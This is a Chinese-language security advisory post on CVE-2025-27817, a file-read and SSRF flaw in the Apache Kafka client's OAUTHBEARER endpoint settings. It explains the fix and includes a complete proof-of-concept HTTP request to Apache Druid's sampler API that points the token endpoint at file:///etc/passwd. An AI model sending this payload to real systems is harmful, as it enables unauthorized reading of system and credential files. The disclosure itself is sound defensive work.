CVE-2025-27817 Apache Kafka 客户端:任意文件读取和 SSRF 漏洞

CVE-2025-27817 Apache Kafka 客户端:任意文件读取和 SSRF 漏洞

Ots安全 2025-06-13 06:05

CVE-2025-27817 Apache Kafka 客户端:任意文件读取和 SSRF 漏洞

Apache Kafka 客户端中发现了一个潜在的任意文件读取和 SSRF 漏洞。

Apache Kafka 客户端接受用于设置与代理服务器的 SASL/OAUTHBEARER 连接的配置数据,包括“sasl.oauthbearer.token.endpoint.url”和“sasl.oauthbearer.jwks.endpoint.url”。Apache Kafka 允许客户端读取任意文件并将内容返回到错误日志中,或将请求发送到非预期位置。

在 Apache Kafka 客户端配置可由不受信任方指定的应用程序中,攻击者可能会使用“sasl.oauthbearer.token.endpoint.url”和“sasl.oauthbearer.jwks.endpoint.url”配置读取磁盘和环境变量中的任意内容,或向非预期位置发出请求。具体来说,该缺陷可能在 Apache Kafka Connect 中被用来从 REST API 访问升级到文件系统/环境/URL 访问,这在某些环境(包括 SaaS 产品)中可能是不受欢迎的。

自 Apache Kafka 3.9.1/4.0.0 版本起,我们添加了一个系统属性(“-Dorg.apache.kafka.sasl.oauthbearer.allowed.urls”),用于在 SASL JAAS 配置中设置允许的 URL。在 3.9.1 版本中,为了向后兼容,它默认接受所有 URL。然而,在 4.0.0 及更新版本中,默认值为空列表,用户必须明确设置允许的 URL。

CVE-2025-27817 Apache Kafka 客户端:任意文件读取和 SSRF 漏洞

POST /druid/indexer/v1/sampler?for=connect HTTP/1.1Host: Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36Connection: closeCache-Control: max-age=0Content-Type: application/jsonContent-Length: 1617{"type": "kafka","spec": {    "type": "kafka",    "ioConfig": {      "type": "kafka",      "consumerProperties": {        "bootstrap.servers": "127.0.0.1:6666",        "sasl.mechanism": "OAUTHBEARER",        "security.protocol": "SASL_SSL",        "sasl.login.callback.handler.class": "org.apache.kafka.common.security.oauthbearer.secured.OAuthBearerLoginCallbackHandler",        "sasl.oauthbearer.token.endpoint.url": "file:///etc/passwd",        "sasl.jaas.config": "org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginModule required sasl.oauthbearer.token.endpoint.url=\"http://127.0.0.1:9999/token\" sasl.oauthbearer.jwks.endpoint.url=\"http://127.0.0.1:9999/jwks\" sasl.oauthbearer.client.id=your-client-id sasl.oauthbearer.client.secret=your-client-secret sasl.oauthbearer.expected.audience=kafka sasl.oauthbearer.expected.issuer=\"http://127.0.0.1:9999\" useFirstPass=true serviceName=kafka debug=true;"      },      "topic": "test",      "useEarliestOffset": true,      "inputFormat": {        "type": "regex",        "pattern": "([\\s\\S]*)",        "listDelimiter": "",        "columns": ["raw"]      }    },    "dataSchema": {      "dataSource": "sample",      "timestampSpec": {        "column": "!!!_no_such_column_!!!",        "missingValue": "1970-01-01T00:00:00Z"      },      "dimensionsSpec": {},      "granularitySpec": {        "rollup": false      }    },    "tuningConfig": {      "type": "kafka"    }  },"samplerConfig": {    "numRows": 500,    "timeoutMs": 15000  }}

感谢您抽出

CVE-2025-27817 Apache Kafka 客户端:任意文件读取和 SSRF 漏洞

.

CVE-2025-27817 Apache Kafka 客户端:任意文件读取和 SSRF 漏洞

.

CVE-2025-27817 Apache Kafka 客户端:任意文件读取和 SSRF 漏洞

来阅读本文

CVE-2025-27817 Apache Kafka 客户端:任意文件读取和 SSRF 漏洞

点它,分享点赞在看都在这里